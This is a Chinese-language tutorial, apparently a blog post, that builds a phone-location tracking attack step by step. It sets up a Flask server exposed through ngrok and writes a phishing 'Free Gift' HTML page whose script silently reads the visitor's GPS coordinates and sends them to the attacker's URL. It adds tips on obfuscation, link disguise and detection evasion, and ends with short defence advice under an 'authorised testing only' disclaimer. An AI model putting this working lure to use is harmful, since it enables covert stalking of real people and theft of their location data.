一、从“手机被追踪案件”说起
2022年,一起令人震惊的隐私泄露事件被曝光:某知名企业家发现自己的行踪频繁被对手预判,最终通过一场技术调查,揭露了其手机定位信息被实时追踪的事实。攻击者通过多个来源获取了目标的位置信息,包括GPS数据、Wi-Fi连接记录以及基站定位,从而精准掌握了该企业家的日常活动轨迹。
这起事件反映的并不仅仅是技术能力的强大,更是我们对手机定位技术的双刃剑属性的深刻认知。本文将从攻击者的视角拆解手机定位追踪的技术原理,演示如何通过公开资源和技术手段实现位置跟踪。当然,本文仅限于授权测试和研究,请勿将技术用于非法用途。
---
二、解密手机定位技术
手机定位是怎么一回事?
想要追踪一台手机的位置,攻击者通常会关注以下三种核心数据来源:
- GPS数据:全球定位系统用于提供精确的经纬度坐标,但需要目标设备主动打开GPS功能。
- 基站定位:通过手机连接的蜂窝网络基站,可以估算出目标的大致位置,误差范围通常在数百米到几公里。
- Wi-Fi定位:通过扫描周围的Wi-Fi热点并与数据库比对,可以得出相当精准的地址。
此外,应用程序和操作系统通常会收集这些数据并上传到云端,从而为攻击者提供捕获这些信息的机会。
攻击者可能利用的渠道
攻击者想要捕获目标的定位信息,通常会选择以下几种方法:
- 社工+恶意APP安装:通过社交工程诱骗受害者安装恶意APP,该APP会请求位置权限。
- 劫持第三方API接口:某些APP会将位置信息上传到服务器,攻击者可以劫持这些请求。
- 网络流量分析:直接通过抓包工具嗅探目标的网络流量,提取定位信息。
接下来的章节,我们将聚焦于一种较为通用的手段——通过恶意代码结合公开网络资源,完成一次完整的手机定位追踪。
---
三、环境搭建:模拟手机位置抓取
为了便于演示,我们需要搭建一个简单的实验环境。以下是所需的工具与步骤。
1. 工具清单
- 一台运行 Kali Linux 的主机(虚拟机也可)
- 一部 Android 手机(支持调试模式)
- Python 安装环境
- Ngrok 工具(用于建立外网可访问的隧道)
2. 配置步骤
配置 1:安装相关工具
在 Kali Linux 中,使用以下命令安装必要的工具:
<pre><code class="language-bash">sudo apt update sudo apt install python3 python3-pip adb pip3 install flask requests</code></pre>
以上命令会安装 Python 环境、ADB 工具(用于与手机交互)和 Flask 框架(用于模拟恶意服务器)。
配置 2:安装 Ngrok
Ngrok 是一种快速搭建外网访问通道的工具,用于将本地服务器暴露到互联网上:
<pre><code class="language-bash">wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-stable-linux-amd64.zip unzip ngrok-stable-linux-amd64.zip sudo mv ngrok /usr/local/bin</code></pre>
使用以下命令启动 HTTP 隧道:
<pre><code class="language-bash">ngrok http 5000</code></pre>
Ngrok 会提供一个外网可访问的域名,比如 http://1234abcd.ngrok.io,稍后我们会将这个地址用于模拟恶意服务器。
配置 3:开启 Android 调试模式
在 Android 手机上,依次进入 设置 → 关于手机 → 连续点击“版本号” 开启开发者选项。然后启用 USB调试,并将手机通过数据线连接到主机。
使用以下命令确认连接是否成功:
<pre><code class="language-bash">adb devices</code></pre>

如果显示连接的设备编号,说明配置成功。
---
四、恶意代码实现
这一部分,我们将编写一个简单的 Python 脚本,模拟一个窃取位置信息的恶意服务端,并通过社工手段诱使目标设备访问。

服务端恶意代码
以下是我们实验用的服务端代码,使用 Flask 搭建:
<pre><code class="language-python">from flask import Flask, request
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"]) def collect_location():
获取目标设备传递的位置信息
location = request.args.get("location", "No data")
将信息写入日志文件
with open("location_log.txt", "a") as log_file: log_file.write(f"Location received: {location}\n")
响应目标设备
return "Location data received!"
if __name__ == "__main__": print("Starting malicious server on port 5000...") app.run(host="0.0.0.0", port=5000)</code></pre>
保存代码为 malicious_server.py,并使用以下命令运行服务端:
<pre><code class="language-bash">python3 malicious_server.py</code></pre>
此时,服务端会监听本地的 5000 端口,并通过 Ngrok 暴露到互联网。

---
目标设备端的恶意链接生成
攻击者通常会生成一个含有恶意链接的页面,诱骗目标点击并泄露位置信息。以下是一个示例 HTML 文件:
<pre><code class="language-html"><!DOCTYPE html> <html> <head> <title>Free Gift</title> <script> // 通过浏览器获取 GPS 位置并发送给攻击者 navigator.geolocation.getCurrentPosition(function(position) { var latitude = position.coords.latitude; var longitude = position.coords.longitude;
// 将位置数据发送给攻击者服务器 var url = "http://1234abcd.ngrok.io/?location=" + latitude + "," + longitude; fetch(url).then(response => console.log("Location sent!")); }); </script> </head> <body> <h1>Congratulations! You've won a prize!</h1> <p>Click here to claim your reward.</p> </body> </html></code></pre>
将此 HTML 文件命名为 index.html 并上传到一个支持外网访问的服务器,或者通过社交工程直接发送给目标。
---
五、运行与测试
步骤 1:启动服务端
确保服务端脚本正在运行,并通过 Ngrok 获取到外网地址。
步骤 2:目标设备访问恶意链接
使用目标手机打开恶意链接(index.html)所在的地址。此时,目标设备的浏览器会自动执行 JavaScript 代码,并将位置信息发送到攻击者的服务器。
步骤 3:查看日志
服务端会将接收到的位置信息写入 location_log.txt 文件。使用以下命令查看:
<pre><code class="language-bash">cat location_log.txt</code></pre>
你应该能看到类似以下的记录:
<pre><code>Location received: 37.7749,-122.4194</code></pre>
---
六、攻防对抗与总结
攻击者利用定位追踪技术的核心在于窃取目标设备的 GPS 数据,但这一过程的成功与否受到多种因素的影响,包括目标设备的隐私设置、防护软件的检测能力等。
绕过与对抗技巧
- 绕过安全警告:通过混淆 JavaScript 或伪装链接内容,避免引起目标的怀疑。
- 规避防护软件:利用 HTTPS 加密通道和随机生成的 URL,使流量更难被识别。
- 社工诱导点击:构造高诱惑力的钓鱼内容,提高目标访问恶意链接的概率。
防御建议
- 禁用无用的定位权限:关闭不必要的应用程序位置访问权限。
- 启用隐私保护工具:使用可信的防护软件检测恶意流量和代码。
- 警惕社工攻击:不要随意点击来源不明的链接或安装未知来源的应用。
通过本次实验,我们演示了如何利用公开资源和恶意代码实现手机定位追踪技术,也再次提醒大家,提升安全意识、强化隐私防护,是对抗类似攻击的最佳手段。